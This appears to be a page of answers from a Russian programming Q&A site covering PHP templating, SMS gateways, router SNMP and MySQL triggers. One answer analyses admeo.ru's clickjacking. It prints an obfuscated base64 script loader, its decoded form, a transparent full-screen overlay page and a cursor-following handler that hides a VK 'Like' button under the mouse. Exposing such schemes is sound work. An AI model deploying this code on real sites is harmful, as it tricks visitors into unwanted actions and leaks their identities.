• Программа sms2email для GSM(3G)-модема

    AgentSIB
    @AgentSIB
    В свое время реализовал с помощью gnokii (принимет смс и пишет в базу) и простенького скрипта, который проверяет по крону наличие новых сообщений в БД и отправляет email согласно листу рассылок.
    Ответ написан
    2 комментария
  • Какой шаблонизатор для PHP выбрать?

    zooks
    @zooks
    Frontend
    Подтверждаю, Twig хорош. Если вы используете Laravel, но лень прикручивать Twig, тогда Blade.
    Ответ написан
    Комментировать
  • Какой шаблонизатор для PHP выбрать?

    DevMan
    @DevMan
    Где можно выиграть по скорости (и нужно ли)?
    по скорости быстрее будет чистый пых.
    только быстрее он будет совсем незначительно: чтоб шаблонизатор стал узким горлышком надо очень сильно постараться набыдлить.
    иными словами - аспект скорости можно вообще не рассматривать.

    В чем вообще смысл разделять верстку на over9000 кусков и потом бегать по файлам в поисках нужного элемента
    в реюзе кода. нормальные шаблонизаторы поддерживают наследование шаблонов, что позволяет избежать дублирования практически одинаковых страниц.
    ну и никто не заставляет делить, можно по старинке пользоваться монолитными шаблонами.

    какой использовать - дело вкуса. я предпочитаю django-подобный синтаксис, поэтому использую twig.

    ну и если из шаблона можно дропнуть базу - это что угодно, только не шаблон. это к вопросу "нужен ли шаблонизатор".
    Ответ написан
    4 комментария
  • Есть ли API у роутеров?

    @MechanID
    Админ хостинг провайдера
    Посмотрите умеет ли ваш роутер отдавать информацию по протоколу SNMP, мне кажется это будет куда проще чем ходить и мучать его вебморду.
    Ответ написан
    2 комментария
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как admeo.ru узнает номер телефона?

    alexanderkx
    @alexanderkx
    По мне так это не "вау-эффект" (как они утверждают у себя на сайте), а наоборот после таких "сюрпризов" пропадает всяческое желание работать с компанией, которая пользуется такой "фенечкой".

    А получают скорей всего из социальных сетей. Достаточно последнее время распространено.
    Ответ написан
    6 комментариев
  • Сайт на Java Script или PHP?

    Северная часть все равно нужна. И если вам не нужен трафик из поисковиков то можно полностью на js
    Ответ написан
    1 комментарий
  • Сайт на Java Script или PHP?

    Господин хороший. Я даже не буду углубляться в сторону Ваших знаний. Просто спрошу, а где вы собираетесь хранить данные и как их будете обрабатывать на сервере?
    Ответ написан
    9 комментариев
  • Реально ли "урезать" JQuery?

    zualex
    @zualex
    Senior Software Engineer
    sprint.js - очень быстрая jQuery подобная библиотека 5KB (gzipped).

    .add()
    e9aff5f2668d45cb9cfd029a949c24f1.png
    Ответ написан
    2 комментария
  • Где вы берете полезные наработки для сайтов?

    chelovekmuravei
    @chelovekmuravei
    \(-_-)/ раз два три четыре
    Первым делом велосипед. Это плохо, но весело. Разве могут 30 колес не радовать.
    Ответ написан
    Комментировать
  • Как повлиять на last_insert_id() из триггера (MySQL/MariaDB)?

    Начнём с того, что AUTO_INCREMENT отрабатывает после вставки, так что менять его надо AFTER INSERT. Попутно замечу, что в AFTER UPDATE менять значение поля нельзя.
    Далее, апдейт в AFTER INSERT тоже запрещён.
    Итого, практически единственным решением в указанном случае будет хранимочка, которая будет менять нужные колонки, заворачиваясь в транзакцию, для "атомарности" операции.

    Но главный вопрос в том, нахрена ставить AUTO_INCREMENT, если ты сам лучше сервера знаешь, какое значение должно быть у вновь вставляемой записи?
    Ответ написан
    2 комментария